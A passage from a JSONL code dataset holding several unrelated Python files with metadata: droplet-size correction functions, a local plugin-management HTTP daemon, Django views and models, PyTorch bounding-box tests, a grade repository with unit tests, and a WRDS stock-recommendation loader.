0.962\n D = -10.34\n E = 1.444 \n F = 7.036\n \n D_ReuterBakan=np.zeros(len(Diameter25))*np.nan\n for i in range(len(Diameter25)) :\n #D_ReuterBakan[i] = (C*Diameter25[i] + D) * AreaFraction0[i] + (E*Diameter[i] + F)\n D_ReuterBakan[i] = (Diameter25[i] - D - F*AreaFraction0[i]) / (E*AreaFraction0[i] + C)\n \n return D_ReuterBakan\n\n\n\n\n#_______________________________________________________________________________________ \n\n\n \ndef KorolevCorrectedD(FilledArea, VoidArea,Diameter):\n \n CorrFactArray=np.empty(len(Diameter), dtype=float)\n Dspot_Dmax, Dmax_D0=GetKorolevRatios()\n for i in range(len(Diameter)):\n CorrFactArray[i]=KorolevCorrection(Dspot_Dmax, Dmax_D0,VoidArea[i],FilledArea[i])\n \n D_KorolevCorr=Diameter*CorrFactArray\n \n return D_KorolevCorr\n#_______________________________________________________________________________________ \n \n \ndef KorolevCorrection(Dspot_Dmax, Dmax_D0,VoidAreaElement,FilledAreaElement): \n #KorolevRatios= KorolevCorrection()\n #KorolevRatiosArray=KorolevRatios.values\n #Dspot_Dmax=KorolevRatiosArray[:,3]\n #Dmax_D0=KorolevRatiosArray[:,1]\n if VoidAreaElement>0 and FilledAreaElement>0:\n scaleF = 4/math.pi\n PixelRatio = math.sqrt(VoidAreaElement*scaleF)/math.sqrt(FilledAreaElement*scaleF)\n pos=(np.abs(Dspot_Dmax-PixelRatio)).argmin()\n CorrFac = 1/Dmax_D0[pos]\n else:\n CorrFac=1\n \n return CorrFac\n #pos = binarysearchinterp(Dspot_Dmax,pixelRatio)\n#_______________________________________________________________________________________ \n\ndef GetKorolevRatios():\n KorolevRatios = pd.read_csv('C:/Users/Admin TEMP/Documents/DropletGun/Korolev07_ratios.csv')\n KorolevRatiosArray=KorolevRatios.values\n Dspot_Dmax=KorolevRatiosArray[:,3]\n Dmax_D0=KorolevRatiosArray[:,1]\n \n return Dspot_Dmax, Dmax_D0 \n\n#_________________________________________________________________________________________________ \n\ndef GetKorolevRatios_Zd():\n KorolevRatios = pd.read_csv('C:/Users/Admin TEMP/Documents/DropletGun/Korolev07_ratios_withZd.csv')\n KorolevRatiosArray=KorolevRatios.values\n \n Z_d=KorolevRatiosArray[:,0]\n Dspot_Dmax=KorolevRatiosArray[:,1]\n Dspot_Dimg=KorolevRatiosArray[:,2]\n Dmax_D0=KorolevRatiosArray[:,3]\n Dimg_Dmax=KorolevRatiosArray[:,4]\n \n return Z_d,Dspot_Dmax,Dspot_Dimg,Dmax_D0,Dimg_Dmax\n\n\n#_______________________________________________________________________________________ \n \n\n# correction factor for diameter derived from areafraction2 \n \ndef Level2_D_Correction_vector(Diameter, AreaFraction2,VoidRatio) :\n \n CorrFactArray=np.empty(len(Diameter), dtype=float)\n Z_d,Dspot_Dmax,Dspot_Dimg,Dmax_D0,Dimg_Dmax= GetKorolevRatios_Zd()\n \n for i in range(len(Diameter)):\n CorrFactArray[i]=Level2_D_Correction(Z_d, Dmax_D0, AreaFraction2[i],VoidRatio[i])\n \n D_AreaFraction2Corr=Diameter*CorrFactArray\n \n return D_AreaFraction2Corr\n#_______________________________________________________________________________________ \n \n \n \ndef Level2_D_Correction(LookUp_Zd,Dmax_D0, AreaFraction2, VoidRatio): \n\n a= 1.02254\n b= -1.08683\n c= 0.840135\n \n #LookUp_areafraction2= a*LookUp_Zd**2 + b*LookUp_Zd + c \n LookUp_areafraction2=(np.where(LookUp_Zd<0.5,a*LookUp_Zd**2 + b*LookUp_Zd + c,0))\n \n \n if AreaFraction2 > 0.55 and AreaFraction2 < 0.8 and VoidRatio == 0 :\n pos=(np.abs(LookUp_areafraction2-AreaFraction2)).argmin()\n CorrFac = 1/Dmax_D0[pos]\n else:\n CorrFac=1\n \n return CorrFac\n\n#_______________________________________________________________________________________ \n\n\n\n\n","sub_path":"Old/MyFunctions07092018.py","file_name":"MyFunctions07092018.py","file_ext":"py","file_size_in_byte":23191,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"157016734","text":"from threading import Thread\r\nfrom http.server import HTTPServer\r\nfrom core.server.HTTPRequestHandler import HTTPRequestHandler\r\nimport requests\r\n\r\nclass DaemonServer():\r\n \"\"\"\r\n The DaemonServer is a minimalist http server that will allow interface\r\n to manage the daemon.\r\n \"\"\"\r\n\r\n _user = {}\r\n _is_log = False\r\n\r\n def __init__(self, daemon, base_url):\r\n \"\"\"\r\n Initializer\r\n\r\n @param daemon: a reference to the daemon object\r\n @type daemon: Daemon\r\n @param base_url: the API URL\r\n @type base_url: string\r\n \"\"\"\r\n self._is_running = False\r\n self._httpd = None\r\n self._th = None\r\n DaemonServer._daemon = daemon\r\n DaemonServer._base_url = base_url\r\n DaemonServer._mock_url = \"http://127.0.0.1:3000\"\r\n\r\n @staticmethod\r\n @HTTPRequestHandler.get('/')\r\n def index(request):\r\n \"\"\"\r\n This URL is a test to be sure that the DaemonServer can handle a request\r\n \"\"\"\r\n return requests.get(DaemonServer._mock_url + '/')\r\n\r\n @staticmethod\r\n @HTTPRequestHandler.post('/login')\r\n def post_user_login(request):\r\n \"\"\"\r\n Login\r\n \"\"\"\r\n data = {'email': request.fields['email'], 'password': request.fields['password']}\r\n res = requests.post(DaemonServer._base_url + '/user/login.json', data=data)\r\n if res.ok:\r\n DaemonServer._is_log = True\r\n DaemonServer._user['_token'] = res.json()['data']\r\n DaemonServer._user['_email'] = request.fields['email'][0]\r\n return res\r\n\r\n @staticmethod\r\n @HTTPRequestHandler.get('/logout')\r\n def get_user_logout(request):\r\n \"\"\"\r\n Logout\r\n \"\"\"\r\n auth = (DaemonServer._user['_email'], DaemonServer._user['_token'])\r\n res = requests.get(DaemonServer._base_url + '/user/logout.json', auth=auth)\r\n if res.ok:\r\n DaemonServer._is_log = False\r\n DaemonServer._token = None\r\n return res\r\n\r\n @staticmethod\r\n @HTTPRequestHandler.get('/me')\r\n def get_user_me(request):\r\n \"\"\"\r\n Informations about the user\r\n \"\"\"\r\n auth = (DaemonServer._user['_email'], DaemonServer._user['_token'])\r\n res = requests.get(DaemonServer._base_url + '/user/me.json', auth=auth)\r\n return res\r\n\r\n # mock\r\n @staticmethod\r\n @HTTPRequestHandler.get('/plugins/')\r\n def get_plugins(request):\r\n \"\"\"\r\n List of all plugins\r\n \"\"\"\r\n res = requests.get(DaemonServer._mock_url + '/plugins')\r\n return res\r\n\r\n # mock\r\n @staticmethod\r\n @HTTPRequestHandler.get('/plugins/:id')\r\n def get_plugin(request):\r\n \"\"\"\r\n Get a specific plugin\r\n\r\n Url param:\r\n id -> plugin ID\r\n \"\"\"\r\n res = requests.get(DaemonServer._mock_url + '/plugins/' + request.url_vars['id'])\r\n return res\r\n\r\n @staticmethod\r\n @HTTPRequestHandler.get('/plugins/:author/:plugin_name/download')\r\n def get_download_plugin(request):\r\n \"\"\"\r\n Download a plugin\r\n\r\n Url param:\r\n author -> the plugin's author\r\n plugin_name -> the plugin's name\r\n \"\"\"\r\n auth = (DaemonServer._user['_email'], DaemonServer._user['_token'])\r\n res = requests.get(DaemonServer._base_url + '/plugins/' + request.url_vars['author'] + '/' + request.url_vars['plugin_name'] + '/download', auth=auth)\r\n if res.ok:\r\n download_url = res.json()['url']\r\n download_path = DaemonServer._daemon._config.get('plugin_folder_download')\r\n download_path = DaemonServer._daemon._config.resolve_path_from_root(download_path, request.url_vars['plugin_name'])\r\n DaemonServer.__download_file(download_path, download_url, extension='.zip')\r\n return res\r\n\r\n @staticmethod\r\n @HTTPRequestHandler.get('/plugins/:plugin_name/install')\r\n def get_install_plugin(request):\r\n \"\"\"\r\n Install a plugin\r\n\r\n Url param:\r\n plugin_name -> the plugin's name\r\n \"\"\"\r\n plugin_path = DaemonServer._daemon._config.get('plugin_folder_download')\r\n plugin_path = DaemonServer._daemon._config.resolve_path_from_root(plugin_path, request.url_vars['plugin_name'] + '.zip')\r\n res = requests.Response()\r\n DaemonServer._daemon.install_plugin(plugin_path)\r\n res.status_code = 200\r\n return res\r\n\r\n @staticmethod\r\n @HTTPRequestHandler.delete('/plugins/:plugin_name')\r\n def delete_uninstall_plugin(request):\r\n \"\"\"\r\n Uninstall a plugin\r\n\r\n Url param:\r\n plugin_name -> the plugin's name\r\n \"\"\"\r\n plugin_name = request.url_vars['plugin_name']\r\n res = requests.Response()\r\n DaemonServer._daemon.uninstall_plugin(plugin_name)\r\n res.status_code = 200\r\n return res\r\n\r\n @staticmethod\r\n @HTTPRequestHandler.get('/plugins/:plugin_name/enable')\r\n def get_enable_plugin(request):\r\n \"\"\"\r\n Enable a plugin\r\n\r\n Url param:\r\n plugin_name -> the plugin's name\r\n \"\"\"\r\n plugin_name = request.url_vars['plugin_name']\r\n res = requests.Response()\r\n if DaemonServer._daemon.enable_plugin(plugin_name):\r\n res.status_code = 200\r\n else:\r\n res.status_code = 400\r\n return res\r\n\r\n @staticmethod\r\n @HTTPRequestHandler.get('/plugins/:plugin_name/disable')\r\n def get_disable_plugin(request):\r\n \"\"\"\r\n Disable a plugin\r\n\r\n Url param:\r\n plugin_name -> the plugin's name\r\n \"\"\"\r\n plugin_name = request.url_vars['plugin_name']\r\n res = requests.Response()\r\n if DaemonServer._daemon.disable_plugin(plugin_name):\r\n res.status_code = 200\r\n else:\r\n res.status_code = 400\r\n return res\r\n\r\n @staticmethod\r\n def __download_file(file_path, url, extension=''):\r\n \"\"\"\r\n Private method allowing to download a file and save it on specified path\r\n\r\n @param file_path: the local path where the file will be saved\r\n @type file_path: string\r\n @param url: the url allownig the download\r\n @type url: string\r\n @param extension: extension of the local file\r\n @type extension: string\r\n \"\"\"\r\n auth = (DaemonServer._user['_email'], DaemonServer._user['_token'])\r\n res = requests.get(DaemonServer._base_url + url, auth=auth, stream=True)\r\n with open(file_path + extension, 'wb') as dfile:\r\n for chunk in res.iter_content(chunk_size=1024):\r\n if chunk:\r\n dfile.write(chunk)\r\n\r\n def run(self, adress='127.0.0.1', port=8001):\r\n \"\"\"\r\n Start the DaemonServer by listening on the specified adress\r\n\r\n @param adress: adress to listen on\r\n @type adress: string\r\n @param port: port to listen on\r\n @type port: int\r\n \"\"\"\r\n self._httpd = HTTPServer((adress, port), HTTPRequestHandler)\r\n self._is_running = True\r\n self._th = Thread(None, self._httpd.serve_forever)\r\n self._th.start()\r\n print('DaemonServer is listening on %s:%d' % (adress, port))\r\n\r\n def stop(self):\r\n \"\"\"\r\n Stop the DaemonServer\r\n \"\"\"\r\n print('Stopping the DaemonServer...')\r\n self._httpd.shutdown()\r\n self._th.join()\r\n self._is_running = False\r\n","sub_path":"core/server/DaemonServer.py","file_name":"DaemonServer.py","file_ext":"py","file_size_in_byte":7489,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"589401280","text":"from django.shortcuts import render, redirect\nfrom .models import Course\n\n# Create your views here.\ndef index(request):\n context = {\n 'courses': Course.objects.all()\n }\n return render(request, 'course/index.html', context)\n\ndef add_course(request):\n if request.method == 'POST':\n Course.objects.create(course_name=request.POST['course_name'], description=request.POST['description'])\n return redirect('/')\n\ndef prompt_destroy(request, course_id):\n context = {\n 'course': Course.objects.get(id=course_id)\n }\n return render(request, 'course/destroy.html', context)\n\ndef destroy(request, course_id):\n if request.method == 'POST':\n Course.objects.filter(id=course_id).delete()\n return redirect('/')\n","sub_path":"Python/Flask-MySQL-Python/Django/courses/apps/course/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":777,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"228652784","text":"import torch\nimport pytest\nimport pytorch_tools as pt\n\n\ndef random_boxes(mean_box, stdev, N):\n return torch.rand(N, 4) * stdev + torch.tensor(mean_box, dtype=torch.float)\n\n\n# fmt: off\nDEVICE_DTYPE = [\n (\"cpu\", torch.float), \n (\"cuda\", torch.float), \n (\"cuda\", torch.half)\n]\n# fmt: on\n# check that it works for all combinations of dtype and device\n@pytest.mark.parametrize(\"device_dtype\", DEVICE_DTYPE)\ndef test_clip_bboxes(device_dtype):\n device, dtype = device_dtype\n # fmt: off\n bboxes = torch.tensor(\n [\n [-5, -10, 50, 100],\n [10, 15, 20, 25],\n ],\n device=device,\n dtype=dtype,\n )\n expected_bboxes = torch.tensor(\n [\n [0, 0, 40, 60],\n [10, 15, 20, 25],\n ],\n device=device,\n dtype=dtype,\n )\n # fmt: on\n size = (60, 40)\n # test single bbox clip\n res1 = pt.utils.box.clip_bboxes(bboxes, size)\n assert torch.allclose(res1, expected_bboxes)\n # test single bbox clip passing torch.Size\n res2 = pt.utils.box.clip_bboxes(bboxes, torch.Size(size))\n assert torch.allclose(res2, expected_bboxes)\n\n BS = 4\n batch_bboxes = bboxes.unsqueeze(0).expand(BS, -1, -1)\n batch_expected = expected_bboxes.unsqueeze(0).expand(BS, -1, -1)\n batch_sizes = torch.tensor(size).repeat(BS, 1)\n # test batch clipping\n res3 = pt.utils.box.clip_bboxes_batch(batch_bboxes.clone(), batch_sizes)\n assert torch.allclose(res3, batch_expected)\n\n # check that even in batch mode we can pass single size\n res4 = pt.utils.box.clip_bboxes_batch(batch_bboxes.clone(), torch.tensor(size))\n assert torch.allclose(res4, batch_expected)\n\n jit_clip = torch.jit.script(pt.utils.box.clip_bboxes_batch)\n # check that function is JIT script friendly\n res5 = jit_clip(batch_bboxes.clone(), batch_sizes)\n assert torch.allclose(res5, batch_expected)\n\n\n@pytest.mark.parametrize(\"device_dtype\", DEVICE_DTYPE)\ndef test_delta2box(device_dtype):\n device, dtype = device_dtype\n # fmt: off\n anchors = torch.tensor(\n [\n [ 0., 0., 1., 1.],\n [ 0., 0., 1., 1.],\n [ 0., 0., 1., 1.],\n [ 5., 5., 5., 5.]\n ],\n device=device,\n dtype=dtype,\n )\n deltas = torch.tensor(\n [\n [ 0., 0., 0., 0.],\n [ 1., 1., 1., 1.],\n [ 0., 0., 2., -1.],\n [ 0.7, -1.9, -0.5, 0.3]\n ],\n device=device,\n dtype=dtype,\n )\n # by default we don't expect results to be clipped\n expected_res = torch.tensor(\n [\n [0.0000, 0.0000, 1.0000, 1.0000],\n [0.1409, 0.1409, 2.8591, 2.8591],\n [-3.1945, 0.3161, 4.1945, 0.6839],\n [5.0000, 5.0000, 5.0000, 5.0000],\n ],\n device=device,\n dtype=dtype,\n )\n # fmt: on\n res1 = pt.utils.box.delta2box(deltas, anchors)\n assert torch.allclose(res1, expected_res, atol=3e-4)\n\n BS = 4\n batch_anchors = anchors.unsqueeze(0).expand(BS, -1, -1)\n batch_deltas = deltas.unsqueeze(0).expand(BS, -1, -1)\n batch_expected = expected_res.unsqueeze(0).expand(BS, -1, -1)\n\n # test applying to batch\n res2 = pt.utils.box.delta2box(batch_deltas.clone(), batch_anchors)\n assert torch.allclose(res2, batch_expected, atol=3e-4)\n\n # check that function is JIT script friendly\n jit_func = torch.jit.script(pt.utils.box.delta2box)\n res3 = jit_func(batch_deltas.clone(), batch_anchors)\n assert torch.allclose(res3, batch_expected, atol=3e-4)\n\n\n@pytest.mark.parametrize(\"device_dtype\", DEVICE_DTYPE)\ndef test_box2delta(device_dtype):\n ## this test only checks that encoding and decoding gives the same result\n device, dtype = device_dtype\n boxes = random_boxes([10, 10, 20, 20], 10, 10).to(device).to(dtype)\n anchors = random_boxes([10, 10, 20, 20], 10, 10).to(device).to(dtype)\n deltas = pt.utils.box.box2delta(boxes, anchors)\n boxes_reconstructed = pt.utils.box.delta2box(deltas, anchors)\n atol = 2e-2 if dtype == torch.half else 1e-6 # for fp16 sometimes error is large\n assert torch.allclose(boxes, boxes_reconstructed, atol=atol)\n\n # check that it's jit friendly\n jit_box2delta = torch.jit.script(pt.utils.box.box2delta)\n jit_delta2box = torch.jit.script(pt.utils.box.delta2box)\n deltas2 = jit_box2delta(boxes, anchors)\n boxes_reconstructed2 = jit_delta2box(deltas2, anchors)\n assert torch.allclose(boxes, boxes_reconstructed2, atol=atol)\n","sub_path":"tests/utils/test_utils.py","file_name":"test_utils.py","file_ext":"py","file_size_in_byte":4505,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"614005621","text":"import sys\nsys.path.append('..')\nfrom Domain.grade import *\nfrom Domain.assignment import *\nfrom Domain.student import *\nfrom Repositories.studentRepo import *\nfrom dataStruct.DataStruct import *\nimport datetime\nimport unittest\n\nclass GradeRepository:\n def __init__(self):\n self._gList = DataStruct()\n def store(self, grade):\n self._gList.append(grade)\n def get_grade_list(self):\n return self._gList.getList()\n def get_specific_grade(self, sID, aID):\n lst = self._gList.getList()\n for grade in lst:\n if(grade.get_student() == sID and grade.get_assignment() == aID):\n return grade._grade\n def get_student_grades(self, sID):\n lst = self._gList.getList()\n gL = []\n for grade in lst:\n if(grade.get_student() == sID):\n gL.append(grade)\n return gL\n def get_assignment_grades(self, aID):\n lst = self._gList.getList()\n gL = []\n for grade in lst:\n if(grade.get_assignment() == aID):\n gL.append(grade)\n return gL\n def get_student_average(self, sID):\n total = 0\n avg = 0\n nr = 0\n if(self.isStudent(sID)):\n for grade in self._gList.getList():\n if(grade.get_student() == sID):\n total += grade.get_grade()\n nr += 1\n avg = total/nr\n return avg\n def get_assignment_average(self, aID):\n total = 0\n avg = 0\n nr = 0\n for grade in self._gList.getList():\n if(grade.get_assignment() == aID):\n total += grade.get_grade()\n nr += 1\n avg = total/nr\n return avg\n def isAssignment(self, aID):\n lst = self.get_grade_list()\n for i in range(0, len(lst)):\n if(lst[i].get_assignment() == aID):\n return True\n return False\n def isStudent(self, sID):\n lst = self.get_grade_list()\n for grade in lst:\n if(grade.get_student() == sID):\n return True\n return False\n def delete_assignment_grading(self, aID):\n lst = self.get_grade_list()\n while(self.isAssignment(aID)):\n for i in range(0, len(lst)):\n if(lst[i].get_assignment() == aID):\n del lst[i]\n break\n def delete_student_grading(self, sID):\n lst = self.get_grade_list()\n while(self.isStudent(sID)):\n for i in range(0, len(lst)):\n if(lst[i].get_student() == sID):\n del lst[i]\n break\n def delete_specific_grade(self, sID, aID):\n lst = self._gList.getList()\n for i in range(0, len(lst)):\n if(lst[i].get_student() == sID and lst[i].get_assignment() == aID):\n del lst[i]\n break\n def isGraded(self, sID, aID):\n lst = self.get_grade_list()\n for grade in lst:\n if(grade.get_student() == sID and grade.get_assignment() == aID):\n return True\n return False\n #SORT HERE\n def gradedAssignments(self, asgnList):\n lst = []\n for assignment in asgnList:\n if(self.isAssignment(assignment.getID()) == True):\n avg = self.get_assignment_average(assignment.getID())\n lst.append((assignment.getID(), avg))\n for i in range(0, len(lst)-1):\n for j in range(i+1, len(lst)):\n if(lst[i][1] < lst[j][1]):\n aux = lst[i]\n lst[i] = lst[j]\n lst[j] = aux\n return lst\n #SORT HERE\n def students_by_average(self, studentRepo, aID):\n lst = []\n sRepo = studentRepo\n sList = sRepo.get_student_list()\n newList = []\n for student in sList:\n if(aID in student.getAssignmentList()):\n lst.append(student)\n for student in lst:\n avg = self.get_student_average(student.getID())\n if(avg != 0):\n newList.append((student, avg))\n for i in range(0, len(sList)-1):\n for j in range(i+1, len(newList)):\n if(newList[i][1] < newList[j][1]):\n aux = newList[i]\n newList[i] = newList[j]\n newList[j] = aux\n return newList\n def student_alphabetical(self, studentRepo, aID):\n lst = []\n sRepo = studentRepo\n sList = sRepo.get_student_list()\n newList = []\n for student in sList:\n if(aID in student.getAssignmentList()):\n lst.append(student)\n for student in lst:\n avg = self.get_student_average(student.getID())\n if(avg != 0):\n newList.append((student, avg))\n for i in range(0, len(newList)-1):\n for j in range(i+1, len(newList)):\n if(newList[i][0].getName() > newList[j][0].getName()):\n aux = newList[i]\n newList[i] = newList[j]\n newList[j] = aux\n return newList\n def isLate(self, student):\n lst = student.getAssignmentList()\n sID = student.getID()\n for asgn in lst:\n if(not self.isGraded(sID, asgn)):\n return True\n print(\"LATE!\")\n return False\n def get_late_students(self, sList):\n lst = self.get_grade_list()\n lateList = []\n for i in range(0, len(sList)):\n student = sList[i]\n assignments = sList[i].getAssignmentList()\n for j in range(0 ,len(assignments)):\n if((not self.isGraded(student.getID(), assignments[j])) and self.isLate(student)):\n lateList.append((student, assignments[j]))\n return lateList\n #SORT HERE\n def sort_students_by_grade(self, studentRepo):\n sRepo = studentRepo\n sList = sRepo.get_student_list()\n newList = []\n for student in sList:\n avg = self.get_student_average(student.getID())\n newList.append((student, avg))\n for i in range(0, len(newList)-1):\n for j in range(i+1, len(newList)):\n if(newList[i][1] < newList[j][1]):\n aux = newList[i]\n newList[i] = newList[j]\n newList[j] = aux\n return newList\n def sort_assignments_by_average(self, asgnRepo):\n aRepo = asgnRepo\n aList = aRepo.getAssignmentList()\n newList = []\n for assignment in aList:\n avg = self.get_assignment_average(assignment.getID())\n newList.append((assignment, avg))\n for i in range(0, len(newList)-1):\n for j in range(i+1, len(newList)):\n if(newList[i][1] < newList[j][1]):\n aux = newList[i]\n newList[i] = newList[j]\n newList[j] = aux\n return newList\nclass TestGrade(unittest.TestCase):\n def setUp(self):\n self.gRepo = GradeRepository()\n self.g1 = Grade(12, \"A1\", 10, datetime.date(2017, 12, 1))\n self.g2 = Grade(12, \"A2\", 8, datetime.date(2017, 11, 2))\n self.g3 = Grade(13, \"A1\", 8, datetime.date(2017, 10, 23))\n self.gRepo.store(self.g1)\n self.gRepo.store(self.g2)\n self.gRepo.store(self.g3)\n def test_store(self):\n self.gRepo.store(self.g1)\n self.assertEqual(self.gRepo._gList, [self.g1, self.g2, self.g3, self.g1])\n self.assertNotEqual(self.gRepo._gList, [])\n def test_get(self):\n self.assertEqual(self.gRepo.get_grade_list(), [self.g1, self.g2, self.g3])\n self.assertEqual(self.gRepo.get_specific_grade(12, \"A1\"), 10)\n self.assertEqual(self.gRepo.get_student_average(12), 9.0)\n self.assertEqual(self.gRepo.get_assignment_average(\"A1\"), 9)\n def test_isAssignment(self):\n self.assertTrue(self.gRepo.isAssignment(\"A1\"))\n self.assertFalse(self.gRepo.isAssignment(\"A3\"))\n def test_isStudent(self):\n self.assertTrue(self.gRepo.isStudent(12))\n self.assertFalse(self.gRepo.isAssignment(24))\n def test_isGraded(self):\n self.assertTrue(self.gRepo.isGraded(12, \"A1\"))\n self.assertFalse(self.gRepo.isGraded(13, \"A2\"))\n def test_deletion(self):\n self.gRepo.delete_student_grading(12)\n self.assertEqual(self.gRepo.get_grade_list(), [self.g3])\n self.gRepo.store(self.g1)\n self.gRepo.store(self.g2)\n self.gRepo.delete_assignment_grading(\"A1\")\n self.assertEqual(self.gRepo.get_grade_list(), [self.g2])\n self.gRepo.store(self.g1)\n self.gRepo.store(self.g3)\n self.gRepo.delete_specific_grade(12, \"A1\")\n self.assertEqual(self.gRepo.get_grade_list(), [self.g2, self.g3])\n def test_gradedAssignments(self):\n a1 = Assignment(\"A1\", \"Lorem\", datetime.date(2017, 12, 1))\n a2 = Assignment(\"A2\", \"Ipsum\", datetime.date(2017, 11, 12))\n self.assertEqual(self.gRepo.gradedAssignments([a1, a2]), [(\"A1\", 9), (\"A2\", 8)])\n def test_sortAvg(self):\n sRepo = StudentRepo()\n s1 = Student(12, \"Darjan\", \"912\")\n s2 = Student(13, \"Andrei\", \"912\")\n sRepo.store(s1)\n sRepo.store(s2)\n lst = self.gRepo.students_by_average(sRepo, \"A1\")\n self.assertEqual(lst, [])\n def test_getSG(self):\n self.assertEqual(self.gRepo.get_student_grades(12), [self.g1, self.g2])\n\nif __name__ == \"__main__\":\n unittest.main()\n","sub_path":"Repositories/gradeRepo.py","file_name":"gradeRepo.py","file_ext":"py","file_size_in_byte":9510,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"86527068","text":"__author__ = 'pougomg'\n\nimport motor\nimport tornado\nimport numpy as np\nimport pandas as pd\nimport wrds\nfrom pymongo import UpdateOne\nfrom bson.objectid import ObjectId\n\nfrom aBlackFireCapitalClass.ClassPriceRecommendationData.ClassPriceRecommendationDataInfos import \\\n PriceTargetAndconsensusInfosData\nfrom zBlackFireCapitalImportantFunctions.SetGlobalsFunctions import type_consensus, type_price_target\n\n\ndef SetStocksInfosRecommendationsInDB(type, connectionstring):\n\n \"\"\"\n This function set all the Stocks Recommendations Infos in the DB.\n :param:\n type: price_target/consensus DB\n connectionstring. The DB location where the data will be store.\n\n \"\"\"\n\n if type == type_consensus:\n db = wrds.Connection()\n res = db.raw_sql(\"select a.cusip, a.ticker from ibes.recddet a group by a.cusip, a.ticker\")\n db.close()\n elif type == type_price_target:\n db = wrds.Connection()\n res = db.raw_sql(\"select a.cusip, a.ticker from ibes.ptgdet a group by a.cusip, a.ticker\")\n db.close()\n else:\n error = \"Incorrection Argument Type It must be {} or {}.\"\n raise TypeError(error.format(type_price_target, type_consensus))\n\n dict_infos = dict()\n for pos in range(res.shape[0]):\n cusip = res['cusip'][pos]\n ticker = res['ticker'][pos]\n\n if cusip is None:\n cusip = ticker\n\n dict_infos[(cusip, ticker)] = {'ticker': ticker, 'cusip': cusip}\n\n if (cusip != ticker):\n if dict_infos.get((ticker, ticker), False):\n del dict_infos[(ticker, ticker)]\n data = []\n for key in dict_infos:\n data.append(dict_infos[key])\n ClientDB = motor.motor_tornado.MotorClient(connectionstring)\n tornado.ioloop.IOLoop.current().run_sync(PriceTargetAndconsensusInfosData(ClientDB,type,data).SetInfosInDB)\n ClientDB.close()\n\n\ndef BulkSetData(_id, gvkey):\n\n return UpdateOne({\"_id\":ObjectId(_id)},{\"$set\":{\"gvkey\":gvkey}})\n\n\ndef SetGvkeyToInfosRecommendations(type_, connectionstring):\n\n \"\"\"This function is used to assign a GVKEY for the stocks Infos for Recommendations\"\"\"\n # tabStocksInFosGvkey = []\n # for value in StocksInFosGvkeyList:\n # tabStocksInFosGvkey.append([value[\"_id\"], value['cusip'], value['ticker']])\n\n\n tabStocksInfosGvkey = np.load('tabStocksInFosGvkey.npy')\n\n tabStocksRecommendationInfos = np.load('tabStocksConsensusInfos.npy')\n\n tabStocksInfosGvkey = pd.DataFrame(tabStocksInfosGvkey, columns=['gvkey', 'cusip', 'ticker'])\n\n tabStocksRecommendationInfos = pd.DataFrame(tabStocksRecommendationInfos, columns=['_id', 'cusip', 'ticker'])\n\n CusipFilterTab = tabStocksRecommendationInfos[tabStocksRecommendationInfos['cusip'] != None]\n\n\n CusipFilterTab = pd.merge(CusipFilterTab, tabStocksInfosGvkey, on='cusip')[['_id', 'gvkey']].set_index('_id')\n\n TickerFilterTab = tabStocksRecommendationInfos[tabStocksRecommendationInfos['ticker'] != None]\n TickerFilterTab = pd.merge(TickerFilterTab, tabStocksInfosGvkey, on='ticker')[['_id', 'gvkey']].set_index('_id')\n\n\n\n tabResult = pd.concat([TickerFilterTab, CusipFilterTab]).reset_index().drop_duplicates('_id')\n v = np.vectorize(BulkSetData)\n tabResult['data'] = v(tabResult['_id'], tabResult['gvkey'])\n print(tabResult[tabResult.gvkey == '062634'])\n\n data = list(tabResult['data'].values)\n ClientDB = motor.motor_tornado.MotorClient(connectionstring)\n tornado.\\\n ioloop.IOLoop.current().\\\n run_sync(PriceTargetAndconsensusInfosData(ClientDB,type_, data).SetInfosInDB)\n\n ClientDB.close()\n\n","sub_path":"bBlackFireCapitalData/StocksMarketData/StocksPriceRecommendationData/GetStocksInfosRecommendations.py","file_name":"GetStocksInfosRecommendations.py","file_ext":"py","file_size_in_byte":3599,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"589857058","text":"#count ( < 100 )\ndef less_hundred(n):\n count = 0\n for i in range(n):\n count += 1\n print(count)\n#count ( >= 100 and < 1000)\ndef more_hundred(n):\n count = 99\n for i in range(100, n + 1):\n num = str(i)\n list_n = list(map(int, num))\n if (list_n[0] - list_n[1]) == (list_n[1] - list_n[2]):\n count += 1\n print(count)\n#main\nn = int(input())\n\nif n < 100:\n less_hundred(n)\nelif n == 1000:\n print(144)\nelse:\n more_hundred(n)\n","sub_path":"1000~/Baek_1065.py","file_name":"Baek_1065.py","file_ext":"py","file_size_in_byte":481,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"331663590","text":"from django.db import models\nfrom userprofile.models import UserProfile\nimport os\nfrom datetime import date\nfrom django.conf import settings\nfrom django.core.files.storage import FileSystemStorage\nfrom tinymce.models import HTMLField\nfrom amazon_file_field import S3Storage, S3EnabledImageField, S3EnabledFileField\nfrom boto.s3.key import Key\nfrom boto.s3.connection import S3Connection\n#-------------------------------------------------------------->\n# UTILITIES\n\n\ndef get_bucket():\n if settings.USE_AMAZON_S3:\n bucket = settings.AWS_STORAGE_BUCKET_NAME\n connection = S3Connection(settings.AWS_ACCESS_KEY_ID, settings.AWS_SECRET_ACCESS_KEY, host='s3.amazonaws.com')\n if not connection.lookup(bucket):\n connection.create_bucket(bucket)\n bucket = connection.get_bucket(bucket)\n return bucket\n\nUser = settings.AUTH_USER_MODEL\n\n\n# This class is used to create the file system storage used for files on OS.\n# It checks if the file exists and overwrites the file if it exists.\nclass OverwriteStorage(FileSystemStorage):\n\n def get_available_name(self, name):\n \"\"\"\n Returns a filename that's free on the target storage system, and\n available for new content to be written to.\n \"\"\"\n # If the filename already exists, remove it as if it was a true file system\n if self.exists(name):\n os.remove(os.path.join(settings.MEDIA_ROOT, name))\n return name\n\n\nclass CommonInfo(models.Model):\n name = models.CharField(max_length=100)\n\n def __unicode__(self):\n return self.name\n\n class Meta:\n abstract = True\n\n\nclass Price(CommonInfo):\n cost = models.DecimalField(max_digits=10, decimal_places=2)\n\n\nclass Sale(CommonInfo):\n percent_off = models.DecimalField(max_digits=10, decimal_places=2)\n\n\nclass 